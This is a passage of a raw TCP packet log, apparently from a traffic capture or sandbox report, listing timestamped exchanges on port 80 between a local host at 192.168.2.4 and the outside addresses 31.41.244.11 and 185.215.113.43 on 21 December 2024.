Dec 21, 2024 10:15:24.014755964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.014770985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.014816046 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.015913010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.016072035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.016119957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.017054081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.017101049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.017281055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.017327070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.018309116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.018356085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.018366098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.018413067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.019455910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.019584894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.019644976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.020572901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.020620108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.020689011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.020735979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.021750927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.021799088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.021840096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.021884918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.022948027 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.022993088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.023073912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.023119926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.024162054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.024241924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.024285078 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.025427103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.025449038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.025470018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.025501966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.026542902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.026650906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.026699066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.027781963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.027797937 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.027846098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.029083967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.029098988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.029131889 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.029150963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.030123949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.030141115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.030188084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.031248093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.031331062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.031375885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.032412052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.032459974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.032644987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.032691956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.035012007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.035063982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.035710096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.037539959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.037554979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.037571907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.037586927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.037589073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.037616968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.037631035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.038558006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.038713932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.038760900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.039824009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.039839983 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.039891005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.041081905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.041098118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.041126013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.041160107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.042042017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.042224884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.042284966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.042610884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.042634010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.042666912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.042689085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.043067932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.043154001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.043220997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.043267965 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.044287920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.044333935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.044334888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.044383049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.045413971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.045459032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.045661926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.045706987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.046776056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.046791077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.046823025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.046837091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.047797918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.048297882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.048346996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.049010992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.049056053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.049304962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.049375057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.050184965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.050209045 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.050228119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.050242901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.051366091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.051476955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.051525116 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.052562952 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.052612066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.052778006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.052823067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.053792953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.053809881 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.053843975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.053858995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.054897070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.055212975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.185373068 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.185559034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.185633898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.186219931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.186244011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.186269045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.186297894 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.187140942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.187228918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.187280893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.188486099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.188540936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.188589096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.188637018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.189510107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.189560890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.189640999 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.189687967 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.190804958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.190820932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.190864086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.191934109 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.192203999 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.192255974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.193396091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.193443060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.193495989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.193546057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.194802999 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.194849968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.194890022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.194942951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.195900917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.196084976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.196134090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.197046041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.197062016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.197092056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.197113991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.197896004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.197985888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.198033094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.199136019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.199151039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.199199915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.200212002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.200258970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.200279951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.200325966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.201351881 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.201397896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.201488972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.201534986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.202696085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.202759027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.202795982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.202841043 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.203735113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.203834057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.203877926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.204873085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.204921007 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.205018997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.205070019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.206056118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.206100941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.206175089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.206221104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.207263947 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.207365990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.207417965 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.208436012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.208482027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:26.693824053 CET	49776	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:26.694143057 CET	49806	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:26.813743114 CET	80	49776	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:26.813760996 CET	80	49806	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:26.813801050 CET	49776	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:26.813852072 CET	49806	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:26.837852001 CET	49806	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:26.957504988 CET	80	49806	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:28.148884058 CET	80	49806	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:28.148974895 CET	49806	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:28.152806044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:28.153179884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:28.272829056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:28.272869110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:28.272969961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:28.272983074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:28.273273945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:28.392739058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.601778030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.601840973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.601846933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.601880074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.601948977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.601948977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.601959944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.601993084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.602021933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.602029085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.602065086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.602097034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.602113008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.602137089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.602191925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.602226019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.602273941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.602273941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.721808910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.721841097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.721942902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.721982956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.725940943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.726048946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.726131916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.793788910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.793886900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.793919086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.794042110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.797997952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.798072100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.798185110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.806337118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.806452990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.809362888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.809497118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.809731007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.817806959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.817909002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.817974091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.818202972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.826196909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.826420069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.826499939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.834764004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.834811926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.834882021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.843095064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.843167067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.843199015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.844528913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.851481915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.851545095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.851579905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.852557898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.859860897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.859951019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.860039949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.867429972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.867501020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.867604971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.874631882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.874680042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.874795914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.874849081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.881880999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.882070065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.985598087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.985670090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.985691071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.985769987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.986852884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.986901999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.986923933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.986994982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.991489887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.991568089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.991585016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.991636038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.995985985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.996047020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:29.996071100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:29.996114969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.000616074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.000664949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.000684977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.000730038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.005225897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.005304098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.005307913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.005362988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.009717941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.009761095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.009823084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.009888887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.014172077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.014241934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.014277935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.014334917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.018687010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.018771887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.018802881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.018945932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.023299932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.023360014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.023389101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.023521900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.027801037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.027873039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.027946949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.027996063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.032397032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.032447100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.032507896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.032562017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.036902905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.036953926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.036967039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.037034035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.041423082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.041518927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.041785955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.042057037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.045953989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.046037912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.046042919 CET	49808	80	192.168.2.4	31.41.244.11
